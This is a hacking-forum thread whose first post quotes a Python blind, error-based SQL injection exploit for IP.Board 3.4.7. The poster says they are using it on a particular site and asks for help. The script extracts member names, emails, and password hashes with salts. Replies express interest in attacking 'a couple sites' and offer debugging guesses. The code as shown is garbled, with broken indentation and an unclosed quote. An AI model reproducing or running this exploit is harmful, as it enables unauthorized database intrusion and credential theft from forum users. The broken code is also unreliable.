

Forum:[Hack Forums](#)

Thread: [ipb 3.4.7 still vunerable?](#)

brandon4511 - January 26, 2015, 4:34 pm

im using a blind injection for this site i believe is still vunerable to the ipb3.4.7 exploit using this code:

```
import sys, re
```

```
import urllib2, urllib
```

```
#!/usr/bin/env python
```

```
# Sunday, November 09, 2014 - secthrowaway@safe-mail.net
```

```
# IP.Board <= 3.4.7 SQLi (blind, error based);
```

```
# you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable
```

```
# Script Modified by MakMan -- Hacktic Labs --
```

```
print '\n\n-----'
```

```
print 'Script Modified by MakMan -- Hacktic Labs -- '
```

```
print '-----Script has been modified for different table prefix XXX_members-----'
```

```
print '-----\n\n\n'
```

```
url = raw_input('Enter URL http://www.fractic-gaming.com :: ')
url = url.rstrip('/')
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/30.0.1599.17 Safari/537.36"
```

```
import sys, re
import urllib2, urllib
```

```
def inject(sql):
```

```
    try:
```

```
        urllib2.urlopen(urllib2.Request('%s/interface/ipsconnect/ipsconnect.php' % url,
data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1') and 1!="\" and
updatexml(NULL,concat (0x3a,(%s)),NULL)#\" % sql), headers={"User-agent": ua}))
```

```
    except urllib2.HTTPError, e:
```

```
        if e.code == 503:
```

```
            data = urllib2.urlopen(urllib2.Request('%s/cache/sql_error_latest.cgi' % url,
headers={"User-agent": ua})).read()
```

```
            txt = re.search("XPath syntax error: ':(.*)'", data, re.MULTILINE)
```

```
            if txt is not None:
```

```
                return txt.group(1)
```

```
            sys.exit('Error [3], received unexpected data:\n%s' % data)
```

```
            sys.exit('Error [1]')
```

```
            sys.exit('Error [2]')
```

```
def get(name, table, num):
```

```
    sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
```

```
    s = int(inject('LENGTH((%s))' % sqli))
```

```
    if s < 31:
```

```
        return inject(sqli)
```

```
    else:
```

```
        r = "
```

```
        for i in range(1, s+1, 31):
```

```
r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
return r
```

```
members_table= inject('SeLeCT table_name from information_schema.tables where
table_schema=database() and table_name REGEXP 0x6d656d6265727324 limit 0,1')
n = inject('SELECT COUNT(*) FROM %s' % members_table)
print '-----'
print '* Found %s users' % n
print '-----'
for j in range(int(n)):
    print '{:20s} {:20s}'.format('Id',get('member_id', members_table, j))
    print '{:20s} {:20s}'.format('Name',get('name', members_table, j))
    print '{:20s} {:20s}'.format('Email',get('email', members_table, j))
    print '{:20s} {:20s}'.format('Password : Salt',get('CONCAT(members_pass_hash, 0x3a,
members_pass_salt)', members_table, j))
    print '-----'
```

but im getting a return with no connection to /Usernames error anyone test this site or am i fking up somewhere? i dont blind inject very often or use error based injection any help would be enormous

ProxNasman - March 21, 2015, 12:23 am

interested in this for a couple sites, anyone?

Might have it but idk.

Recursive™ - April 7, 2015, 6:59 am

I get the following error when executing the script:

Error[1]

bass booster - April 7, 2015, 10:12 am

(Jan 26, 2015 05:34 PM)brandon4511 Wrote: [\[CITE\]](#) cfhfhgh

I don't know python but I know other languages, and

Code print '{:20s} {:20s}'.format('Password : Salt',get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', members_table, j))the members_pass_salt)' looks like that apostrophe looks like it should be INSIDE of the end parentheses

So ') not)' but again I don't know python xDD